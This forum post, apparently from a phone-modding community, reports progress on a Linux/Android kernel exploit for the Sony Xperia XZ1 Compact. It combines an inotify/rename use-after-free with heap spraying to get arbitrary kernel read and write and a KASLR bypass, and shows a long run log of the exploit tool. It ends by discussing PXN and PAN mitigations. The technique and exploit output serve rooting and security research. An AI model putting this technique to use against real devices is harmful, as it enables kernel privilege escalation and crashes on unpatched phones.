[Sony Xperia XZ1 Compact ROMs, Kernels, Recoveries,] j4nn:
Another quite good news: I have implemented the mostly arbitrary kernel write _together_ with mostly arbitrary kernel read (!).

Mostly means the address cannot contain a zero byte as we need to pass the address via the string in strcpy when exploiting use after free with inotify/rename vulnerability.

With that I could use another vulnerability to find KASLR slide to bypass kernel space randomization.

Forced kaslr with my qemu kernel:

[ 0.000000] Virtual kernel memory layout:
[ 0.000000] modules : 0xffffff8000000000 - 0xffffff8008000000 ( 128 MB)
[ 0.000000] vmalloc : 0xffffff8008000000 - 0xffffffbdbfff0000 ( 246 GB)
[ 0.000000] .init : 0xffffff981be00000 - 0xffffff981c800000 ( 10240 KB)
[ 0.000000] .text : 0xffffff981a280000 - 0xffffff981b400000 ( 17920 KB)
[ 0.000000] .rodata : 0xffffff981b400000 - 0xffffff981be00000 ( 10240 KB)
[ 0.000000] .data : 0xffffff981c800000 - 0xffffff981ca97558 ( 2654 KB)
[ 0.000000] vmemmap : 0xffffffbdc0000000 - 0xffffffbfc0000000 ( 8 GB maximum)
[ 0.000000] 0xffffffbdd1000000 - 0xffffffbdd5000000 ( 64 MB actual)
[ 0.000000] fixed : 0xffffffbffe7fd000 - 0xffffffbffec00000 ( 4108 KB)
[ 0.000000] PCI I/O : 0xffffffbffee00000 - 0xffffffbfffe00000 ( 16 MB)
[ 0.000000] memory : 0xffffffc440000000 - 0xffffffc540000000 ( 4096 MB)

And here a test run which got very very lucky:

/data/local/tmp # time ./mytest-linux -Q -l -k --kallsyms --kaslr-bypass 1 --attack 2
rate 62500000,1000
main 0,0
notify 2,-10
handler 3,0
prtimer 2,-10
tmtype 3,0
tmfixup 1
tmtest 20,1
longn 1
kernelp 1
spray 4,7,-10,5078125
offset -8000
trials 1000
logging 1,0,0
attack 2,2032,1360,0
attack payloads 0xffffff800a9fa6d8 0xffffff8008ee4ad0

trigger wout notify ev0=5316 ev1=8457 (trial=0)
trigger with notify ev0=7722 ev1=10394 (trial=0)
attack start buffer=0x0000007fefbe0000 [00 00 be ef 7f 00 00 00]

starting KASLR bypass, prepare
starting KASLR bypass, ptr0=0xffffffc4fca89c48
- trial progress 249, heapshape_hits=50
DETECTED OVERWRITE (event#630, hits=1, i=0, offset=-8000, och='f', nch='p'):
trigger_ev0_start= 7278477917
prtimer_start + 29408
prtimer_done + 1924940
trigger_ev0_end + 1417453
trigger_ev1_start + 1417508
trigger_ev1_end + 1436061
event_ts + 1442550
fsnot_ev0_start + 7774
fsnot_ev0_strlen + 1406786
fsnot_ev0_strcpy + 1407313
fsnot_ev0_strcpy_done + 1408395
fsnot_ev1_start + 1431420
fsnot_ev1_strlen + 1432048
fsnot_ev1_strcpy + 1432436
fsnot_ev1_strcpy_done + 1432601
copy_name + 94946
kfrcu_start + 95032
kfrcu_kfree + 1302997
kfrcu_kfcpu = 7
add_key_cpu = 2
add_key_tid = 0
add_key_start + 1298058
add_key + 1299790
heapshape_hits = 66 (not hit)
status = 0x0b
attack returned 0, data=0xefbeadde78563412 [12 34 56 78 de ad be ef]
- trial progress 499, heapshape_hits=109
DETECTED OVERWRITE (event#1210, hits=2, i=0, offset=-8000, och='f', nch='p'):
trigger_ev0_start= 9489102841
prtimer_start + 28935
prtimer_done + 1920705
trigger_ev0_end + 1452986
trigger_ev1_start + 1453044
trigger_ev1_end + 1470395
event_ts + 1469462
fsnot_ev0_start + 8045
fsnot_ev0_strlen + 1442488
fsnot_ev0_strcpy + 1443052
fsnot_ev0_strcpy_done + 1443280
fsnot_ev1_start + 1467494
fsnot_ev1_strlen + 1468121
fsnot_ev1_strcpy + 1468516
fsnot_ev1_strcpy_done + 1468695
copy_name + 97976
kfrcu_start + 98060
kfrcu_kfree + 1309575
kfrcu_kfcpu = 0
add_key_cpu = 2
add_key_tid = 0
add_key_start + 1352403
add_key + 1361543
heapshape_hits = 139 (not hit)
status = 0x0b
attack returned 0, data=0xefbeadde78563412 [12 34 56 78 de ad be ef]
- trial progress 749, heapshape_hits=186
- trial progress 999, heapshape_hits=254
- trial progress 1249, heapshape_hits=334
- trial progress 1499, heapshape_hits=398
DETECTED OVERWRITE (event#3328, hits=3, i=0, offset=-8000, och='f', nch='p'):
trigger_ev0_start= 16939727852
prtimer_start + 30621
prtimer_done + 1914572
trigger_ev0_end + 1477548
trigger_ev1_start + 1477605
trigger_ev1_end + 1493950
event_ts + 1498561
fsnot_ev0_start + 8239
fsnot_ev0_strlen + 1467261
fsnot_ev0_strcpy + 1467806
fsnot_ev0_strcpy_done + 1468006
fsnot_ev1_start + 1490575
fsnot_ev1_strlen + 1491156
fsnot_ev1_strcpy + 1491547
fsnot_ev1_strcpy_done + 1491713
copy_name + 96066
kfrcu_start + 96148
kfrcu_kfree + 1320452
kfrcu_kfcpu = 1
add_key_cpu = 2
add_key_tid = 0
add_key_start + 1362617
add_key + 1364347
heapshape_hits = 442 (not hit)
status = 0x0b
attack returned 0, data=0xefbeadde78563412 [12 34 56 78 de ad be ef]
- trial progress 1749, heapshape_hits=466
DETECTED OVERWRITE (event#3570, hits=4, i=0, offset=-8000, och='f', nch='p'):
trigger_ev0_start= 18057227951
prtimer_start + 28853
prtimer_done + 1919142
trigger_ev0_end + 1437451
trigger_ev1_start + 1437512
trigger_ev1_end + 1456604
event_ts + 1465311
fsnot_ev0_start + 8193
fsnot_ev0_strlen + 1427975
fsnot_ev0_strcpy + 1428508
fsnot_ev0_strcpy_done + 1428725
fsnot_ev1_start + 1452225
fsnot_ev1_strlen + 1452806
fsnot_ev1_strcpy + 1453201
fsnot_ev1_strcpy_done + 1453361
copy_name + 97702
kfrcu_start + 97788
kfrcu_kfree + 1313655
kfrcu_kfcpu = 1
add_key_cpu = 2
add_key_tid = 0
add_key_start + 1317319
add_key + 1321264
heapshape_hits = 475 (not hit)
status = 0x0b
attack returned 0, data=0xefbeadde78563412 [12 34 56 78 de ad be ef]
- trial progress 1999, heapshape_hits=538
- trial progress 2249, heapshape_hits=608
DETECTED OVERWRITE (event#4586, hits=5, i=0, offset=-8000, och='f', nch='p'):
trigger_ev0_start= 21804102665
prtimer_start + 49438
prtimer_done + 3169836
trigger_ev0_end + 2553791
trigger_ev1_start + 2553849
trigger_ev1_end + 2571993
event_ts + 2570499
fsnot_ev0_start + 8692
fsnot_ev0_strlen + 2545089
fsnot_ev0_strcpy + 2545633
fsnot_ev0_strcpy_done + 2545834
fsnot_ev1_start + 2569250
fsnot_ev1_strlen + 2569848
fsnot_ev1_strcpy + 2570217
fsnot_ev1_strcpy_done + 2570395
copy_name + 125367
kfrcu_start + 125460
kfrcu_kfree + 1306534
kfrcu_kfcpu = 0
add_key_cpu = 2
add_key_tid = 0
add_key_start + 1307152
add_key + 1309550
heapshape_hits = 619 (not hit)
status = 0x0b
attack returned 0, data=0xefbeadde78563412 [12 34 56 78 de ad be ef]
- trial progress 2499, heapshape_hits=677
- trial progress 2749, heapshape_hits=745
- trial progress 2999, heapshape_hits=812
- trial progress 3249, heapshape_hits=874
- trial progress 3499, heapshape_hits=954
- trial progress 3749, heapshape_hits=1028
DETECTED OVERWRITE (event#7716, hits=6, i=0, offset=-8000, och='f', nch='p'):
trigger_ev0_start= 32871602908
prtimer_start + 39209
prtimer_done + 2539274
trigger_ev0_end + 1780639
trigger_ev1_start + 1780718
trigger_ev1_end + 1796540
event_ts + 1799738
fsnot_ev0_start + 7798
fsnot_ev0_strlen + 1771368
fsnot_ev0_strcpy + 1771843
fsnot_ev0_strcpy_done + 1772054
fsnot_ev1_start + 1793315
fsnot_ev1_strlen + 1793921
fsnot_ev1_strcpy + 1794309
fsnot_ev1_strcpy_done + 1794494
copy_name + 109832
kfrcu_start + 109918
kfrcu_kfree + 1666321
kfrcu_kfcpu = 0
add_key_cpu = 2
add_key_tid = 0
add_key_start + 1662428
add_key + 1663223
heapshape_hits = 1053 (not hit)
status = 0x0b
attack returned 0, data=0xefbeadde78563412 [12 34 56 78 de ad be ef]
DETECTED OVERWRITE (event#7894, hits=7, i=0, offset=-8000, och='f', nch='p'):
trigger_ev0_start= 33744102914
prtimer_start + 30420
prtimer_done + 3161429
trigger_ev0_end + 2546544
trigger_ev1_start + 2546619
trigger_ev1_end + 2563145
event_ts + 2576756
fsnot_ev0_start + 7998
fsnot_ev0_strlen + 2538238
fsnot_ev0_strcpy + 2538800
fsnot_ev0_strcpy_done + 2539002
fsnot_ev1_start + 2559821
fsnot_ev1_strlen + 2560391
fsnot_ev1_strcpy + 2560792
fsnot_ev1_strcpy_done + 2560975
copy_name + 97310
kfrcu_start + 97391
kfrcu_kfree + 1326653
kfrcu_kfcpu = 0
add_key_cpu = 2
add_key_tid = 0
add_key_start + 1398858
add_key + 1400347
heapshape_hits = 1208 (HIT)
status = 0x0b
attack returned 0, data=0xefbeadde78563412 [12 34 56 78 de ad be ef]
DETECTED OVERWRITE (event#7918, hits=8, i=0, offset=-8000, och='f', nch='p'):
trigger_ev0_start= 34084727648
prtimer_start + 32004
prtimer_done + 4414861
trigger_ev0_end + 3795448
trigger_ev1_start + 3795544
trigger_ev1_end + 3813539
event_ts + 3818553
fsnot_ev0_start + 8237
fsnot_ev0_strlen + 3787151
fsnot_ev0_strcpy + 3787724
fsnot_ev0_strcpy_done + 3787923
fsnot_ev1_start + 3810203
fsnot_ev1_strlen + 3810799
fsnot_ev1_strcpy + 3811177
fsnot_ev1_strcpy_done + 3811364
copy_name + 98162
kfrcu_start + 98267
kfrcu_kfree + 1324761
kfrcu_kfcpu = 0
add_key_cpu = 2
add_key_tid = 0
add_key_start + 2531636
add_key + 2532742
heapshape_hits = 1228 (HIT)
status = 0x0b
attack returned 0, data=0xefbeadde78563412 [12 34 56 78 de ad be ef]
- trial progress 3999, heapshape_hits=1297
DETECTED OVERWRITE (event#8186, hits=9, i=0, offset=-8000, och='f', nch='p'):
trigger_ev0_start= 35295353172
prtimer_start + 39202
prtimer_done + 2534419
trigger_ev0_end + 2127066
trigger_ev1_start + 2127170
trigger_ev1_end + 2151598
event_ts + 2143055
fsnot_ev0_start + 7718
fsnot_ev0_strlen + 2118525
fsnot_ev0_strcpy + 2119021
fsnot_ev0_strcpy_done + 2119232
fsnot_ev1_start + 2148676
fsnot_ev1_strlen + 2149278
fsnot_ev1_strcpy + 2149698
fsnot_ev1_strcpy_done + 2149893
copy_name + 106358
kfrcu_start + 106439
kfrcu_kfree + 1930221
kfrcu_kfcpu = 0
add_key_cpu = 2
add_key_tid = 0
add_key_start + 2014229
add_key + 2015720
heapshape_hits = 1465 (HIT)
status = 0x0b
attack returned 0, data=0xefbeadde78563412 [12 34 56 78 de ad be ef]
- trial progress 4249, heapshape_hits=1740
- trial progress 4499, heapshape_hits=2193
DETECTED OVERWRITE (event#9082, hits=10, i=0, offset=-8000, och='f', nch='p'):
trigger_ev0_start= 38725977527
prtimer_start + 31104
prtimer_done + 3782271
trigger_ev0_end + 3181448
trigger_ev1_start + 3181524
trigger_ev1_end + 3201491
event_ts + 3205653
fsnot_ev0_start + 8379
fsnot_ev0_strlen + 3171650
fsnot_ev0_strcpy + 3172598
fsnot_ev0_strcpy_done + 3172801
fsnot_ev1_start + 3197627
fsnot_ev1_strlen + 3198178
fsnot_ev1_strcpy + 3198612
fsnot_ev1_strcpy_done + 3198794
copy_name + 107246
kfrcu_start + 107672
kfrcu_kfree + 1323325
kfrcu_kfcpu = 0
add_key_cpu = 2
add_key_tid = 0
add_key_start + 1920320
add_key + 1921062
heapshape_hits = 2269 (HIT)
status = 0x0b
attack returned 0, data=0xefbeadde78563412 [12 34 56 78 de ad be ef]
DETECTED OVERWRITE (event#9412, hits=11, i=0, offset=-8000, och='f', nch='p'):
trigger_ev0_start= 40155352985
prtimer_start + 60902
prtimer_done + 1600548
trigger_ev0_end + 1513349
trigger_ev1_start + 1513422
trigger_ev1_end + 1532243
event_ts + 1539633
fsnot_ev0_start + 9667
fsnot_ev0_strlen + 11116
fsnot_ev0_strcpy + 1501502
fsnot_ev0_strcpy_done + 1504202
fsnot_ev1_start + 1528686
fsnot_ev1_strlen + 1529335
fsnot_ev1_strcpy + 1529730
fsnot_ev1_strcpy_done + 1529899
copy_name + 128508
kfrcu_start + 128595
kfrcu_kfree + 1308478
kfrcu_kfcpu = 0
add_key_cpu = 2
add_key_tid = 0
add_key_start + 1391092
add_key + 1392233
heapshape_hits = 2571 (HIT)
status = 0x0b
attack returned 1 (FINALY!), data=0xffffffc4fd313600 [00 36 31 fd c4 ff ff ff]
starting KASLR bypass, ptr1=0xffffffc4fd313a10
DETECTED OVERWRITE (event#262, hits=1, i=0, offset=-8000, och='f', nch='p'):
trigger_ev0_start= 41325977875
prtimer_start + 29647
prtimer_done + 2371802
trigger_ev0_end + 2007862
trigger_ev1_start + 2007917
trigger_ev1_end + 2023686
event_ts + 2311593
fsnot_ev0_start + 7903
fsnot_ev0_strlen + 1998806
fsnot_ev0_strcpy + 1999315
fsnot_ev0_strcpy_done + 1999500
fsnot_ev1_start + 2020400
fsnot_ev1_strlen + 2020965
fsnot_ev1_strcpy + 2021341
fsnot_ev1_strcpy_done + 2021522
copy_name + 96747
kfrcu_start + 96832
kfrcu_kfree + 1331012
kfrcu_kfcpu = 0
add_key_cpu = 2
add_key_tid = 0
add_key_start + 1913886
add_key + 1915299
heapshape_hits = 231 (HIT)
status = 0x0b
attack returned 0, data=0xefbeadde78563412 [12 34 56 78 de ad be ef]
- trial progress next iter 249, heapshape_hits=441
DETECTED OVERWRITE (event#594, hits=2, i=0, offset=-8000, och='f', nch='p'):
trigger_ev0_start= 42728478152
prtimer_start + 33730
prtimer_done + 1926127
trigger_ev0_end + 1423052
trigger_ev1_start + 1423104
trigger_ev1_end + 1440446
event_ts + 1445005
fsnot_ev0_start + 8123
fsnot_ev0_strlen + 1413273
fsnot_ev0_strcpy + 1413768
fsnot_ev0_strcpy_done + 1413978
fsnot_ev1_start + 1437272
fsnot_ev1_strlen + 1437795
fsnot_ev1_strcpy + 1438193
fsnot_ev1_strcpy_done + 1438395
copy_name + 100185
kfrcu_start + 100286
kfrcu_kfree + 1310901
kfrcu_kfcpu = 0
add_key_cpu = 2
add_key_tid = 0
add_key_start + 1305319
add_key + 1306444
heapshape_hits = 527 (not hit)
status = 0x0b
attack returned 0, data=0xefbeadde78563412 [12 34 56 78 de ad be ef]
DETECTED OVERWRITE (event#908, hits=3, i=0, offset=-8000, och='f', nch='p'):
trigger_ev0_start= 44000352868
prtimer_start + 30246
prtimer_done + 3794673
trigger_ev0_end + 3161697
trigger_ev1_start + 3161757
trigger_ev1_end + 3179251
event_ts + 3184244
fsnot_ev0_start + 8115
fsnot_ev0_strlen + 3153567
fsnot_ev0_strcpy + 3154011
fsnot_ev0_strcpy_done + 3154203
fsnot_ev1_start + 3176057
fsnot_ev1_strlen + 3176645
fsnot_ev1_strcpy + 3177010
fsnot_ev1_strcpy_done + 3177196
copy_name + 95107
kfrcu_start + 95200
kfrcu_kfree + 1912343
kfrcu_kfcpu = 1
add_key_cpu = 2
add_key_tid = 0
add_key_start + 1935824
add_key + 1936680
heapshape_hits = 820 (HIT)
status = 0x0b
attack returned 0, data=0xefbeadde78563412 [12 34 56 78 de ad be ef]
- trial progress next iter 499, heapshape_hits=900
DETECTED OVERWRITE (event#1018, hits=4, i=0, offset=-8000, och='f', nch='p'):
trigger_ev0_start= 44629102901
prtimer_start + 38067
prtimer_done + 1917161
trigger_ev0_end + 1487925
trigger_ev1_start + 1488029
trigger_ev1_end + 1504480
event_ts + 1507909
fsnot_ev0_start + 7793
fsnot_ev0_strlen + 1479807
fsnot_ev0_strcpy + 1480394
fsnot_ev0_strcpy_done + 1480626
fsnot_ev1_start + 1501154
fsnot_ev1_strlen + 1501801
fsnot_ev1_strcpy + 1502213
fsnot_ev1_strcpy_done + 1502385
copy_name + 104981
kfrcu_start + 105070
kfrcu_kfree + 1321105
kfrcu_kfcpu = 1
add_key_cpu = 2
add_key_tid = 0
add_key_start + 1375569
add_key + 1376305
heapshape_hits = 919 (HIT)
status = 0x0b
attack returned 1 (FINALY!), data=0xffffff981a2f40fc [fc 40 2f 1a 98 ff ff ff]
detected kernel at 0xffffff981a280000, KASLR slide = 0x1812200000
test at -8000 offset with 1000 trials:
DETECTED OVERWRITE (event#434, hits=1, i=0, offset=-8000, och='f', nch='p'):
trigger_ev0_start= 46295977599
prtimer_start + 27374
prtimer_done + 3160814
trigger_ev0_end + 2657289
trigger_ev1_start + 2657349
trigger_ev1_end + 2676919
event_ts + 2681653
fsnot_ev0_start + 7729
fsnot_ev0_strlen + 9112
fsnot_ev0_strcpy + 2645447
fsnot_ev0_strcpy_done + 2645685
fsnot_ev1_start + 2672682
fsnot_ev1_strlen + 2673414
fsnot_ev1_strcpy + 2673832
fsnot_ev1_strcpy_done + 2674012
copy_name + 93233
kfrcu_start + 93328
kfrcu_kfree + 1333410
kfrcu_kfcpu = 0
add_key_cpu = 2
add_key_tid = 0
add_key_start + 2535688
add_key + 2538028
heapshape_hits = 384 (HIT)
status = 0x0b
attack returned 1 (FINALY!)
overwrites = 1 (raw=1 kcpname_hits=22 heapshape_hits=384 tmouts=0) from 1000 trials at -8000 offset
real 11m 30.15s
user 6m 48.85s
sys 21m 22.64s

Near the end you see 'detected kernel at 0xffffff981a280000, KASLR slide = 0x1812200000'.

It requires two successful kernel space reads in a row.

Unfortunately there were other 13 heap out of bound overwrites that missed the heap shaping - it seems that was a great luck that the kernel did not crash on them, because unexpected heap memory was overwritten in all those cases. And it usually crashes on any such missed overwrite.

Here is the log processed with " grep -i 'kaslr\|returned' " command showing the 13 missed overwrites and the 3 successful:

starting KASLR bypass, prepare
starting KASLR bypass, ptr0=0xffffffc4fca89c48
attack returned 0, data=0xefbeadde78563412 [12 34 56 78 de ad be ef]
attack returned 0, data=0xefbeadde78563412 [12 34 56 78 de ad be ef]
attack returned 0, data=0xefbeadde78563412 [12 34 56 78 de ad be ef]
attack returned 0, data=0xefbeadde78563412 [12 34 56 78 de ad be ef]
attack returned 0, data=0xefbeadde78563412 [12 34 56 78 de ad be ef]
attack returned 0, data=0xefbeadde78563412 [12 34 56 78 de ad be ef]
attack returned 0, data=0xefbeadde78563412 [12 34 56 78 de ad be ef]
attack returned 0, data=0xefbeadde78563412 [12 34 56 78 de ad be ef]
attack returned 0, data=0xefbeadde78563412 [12 34 56 78 de ad be ef]
attack returned 0, data=0xefbeadde78563412 [12 34 56 78 de ad be ef]
attack returned 1 (FINALY!), data=0xffffffc4fd313600 [00 36 31 fd c4 ff ff ff]
starting KASLR bypass, ptr1=0xffffffc4fd313a10
attack returned 0, data=0xefbeadde78563412 [12 34 56 78 de ad be ef]
attack returned 0, data=0xefbeadde78563412 [12 34 56 78 de ad be ef]
attack returned 0, data=0xefbeadde78563412 [12 34 56 78 de ad be ef]
attack returned 1 (FINALY!), data=0xffffff981a2f40fc [fc 40 2f 1a 98 ff ff ff]
detected kernel at 0xffffff981a280000, KASLR slide = 0x1812200000
attack returned 1 (FINALY!)

Tried it on the phone, but the heap shaping is even less effective there, almost each missed overwrite crashes the phone to reboot.

So I guess this method for kaslr bypass is not that great as it requires two successful overwrites in order to read kernel memory two times in a row.

And then (at least) a third successful overwrite in order to write kernel memory to perform/start an actual attack.

In the log above, the attack was successful, tried to overwrite ptmx_fops.check_flags pointer with address of kernel_sock_ioctl function (this was outlined in the kernel mirroring attack slides).

I think I can now understand why this is still not enough. It would be enough to bypass KASLR and PXN (Privilege Execute-Never) - good enough for android 7.0.

But since android 8.0 there is also PAN (Privileged Access Never), so calling the kernel_sock_ioctl() via ptmx_fops.check_flags() from userspace with argument pointing to userspace memory would fail (oops) as kernel cannot access userspace pointer due to PAN.

Anybody working on another KASLR bypass method?

Or any idea how to overcome PXN & PAN with (ideally just single) arbitrary kernel write (except the kernel space mirroring attack)?